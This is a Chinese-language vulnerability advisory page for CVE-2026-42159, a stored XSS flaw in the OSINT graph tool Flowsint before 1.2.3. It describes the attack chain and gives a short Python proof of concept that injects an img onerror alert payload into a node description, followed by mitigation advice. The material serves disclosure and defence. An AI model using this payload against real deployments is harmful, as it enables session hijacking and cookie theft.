IPBUF安全漏洞报告
English
CVE-2026-42159 CVSS 5.4 中危

CVE-2026-42159 Flowsint 存储型XSS漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42159
漏洞类型
Stored XSS (存储型跨站脚本)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Flowsint

相关标签

XSSStored XSSWeb SecurityFlowsintOSINTCVE-2026-42159

漏洞概述

Flowsint是一款开源的OSINT图形探索工具。在1.2.3版本之前,该系统存在一个存储型跨站脚本(XSS)漏洞。远程攻击者可以利用低权限账户,在创建节点时注入恶意的HTML代码。当其他用户在界面中选择并查看该节点时,恶意代码会被浏览器解析执行,从而可能导致会话劫持或进一步攻击。建议用户尽快升级至安全版本。

技术细节

该漏洞源于Flowsint在处理节点描述信息时缺乏足够的输出编码。Flowsint允许用户创建包含节点和关系的“草图”来存储OSINT目标信息。在创建节点的过程中,应用程序未对“描述”字段中提交的用户输入进行严格的HTML净化或转义。这使得经过身份验证的远程攻击者能够将任意的HTML或JavaScript代码注入到节点描述中。由于这是一个存储型XSS漏洞,恶意载荷被持久化存储在服务器端数据库中。当具有访问权限的受害者(如管理员)在Web界面上选择受感染的节点时,应用程序会直接从数据库读取并渲染该描述内容,导致受害者的浏览器执行攻击者注入的脚本。攻击者利用此漏洞可以在受害者的浏览器上下文中执行任意JavaScript代码,窃取Cookie、会话令牌或执行钓鱼攻击。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或登录Flowsint应用程序,获取一个低权限用户账户。
STEP 2
步骤2:创建恶意节点
攻击者创建一个新的调查或草图,并添加一个新节点。在节点的“描述”字段中,攻击者输入包含恶意JavaScript代码的HTML标签(例如 <script> 或 <img onerror>)。
STEP 3
步骤3:存储Payload
应用程序将包含恶意代码的节点描述数据存储在后端数据库中,未经过滤或编码。
STEP 4
步骤4:诱导交互
攻击者等待或诱导其他用户(特别是管理员)访问该草图并在Web界面中点击或选择被植入恶意代码的节点。
STEP 5
步骤5:执行攻击
当受害者选择节点时,应用程序从数据库读取描述并直接渲染在页面上。受害者的浏览器解析恶意HTML/JS代码并执行,导致XSS攻击成功,可能窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-flowsint-instance/api/nodes" # Attacker's session cookie (low privilege user) cookies = { "session": "attacker_session_id" } # Malicious payload to be injected in the node description xss_payload = "<img src=x onerror=alert('CVE-2026-42159 - Stored XSS')>" # Data to create a new node with malicious description payload_data = { "label": "Malicious Node", "description": xss_payload, # Injected XSS payload "graph_id": "target_graph_id" } try: response = requests.post(target_url, json=payload_data, cookies=cookies) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious node created successfully.") print("[+] Trigger the XSS by selecting the node in the web interface.") else: print(f"[-] Failed to create node. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Flowsint < 1.2.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用非信任用户创建节点的功能,或者通过Web应用防火墙(WAF)添加规则,拦截包含常见XSS Payload(如<script>, onerror=等)的HTTP请求。同时,管理员应谨慎查看来源不明的节点信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表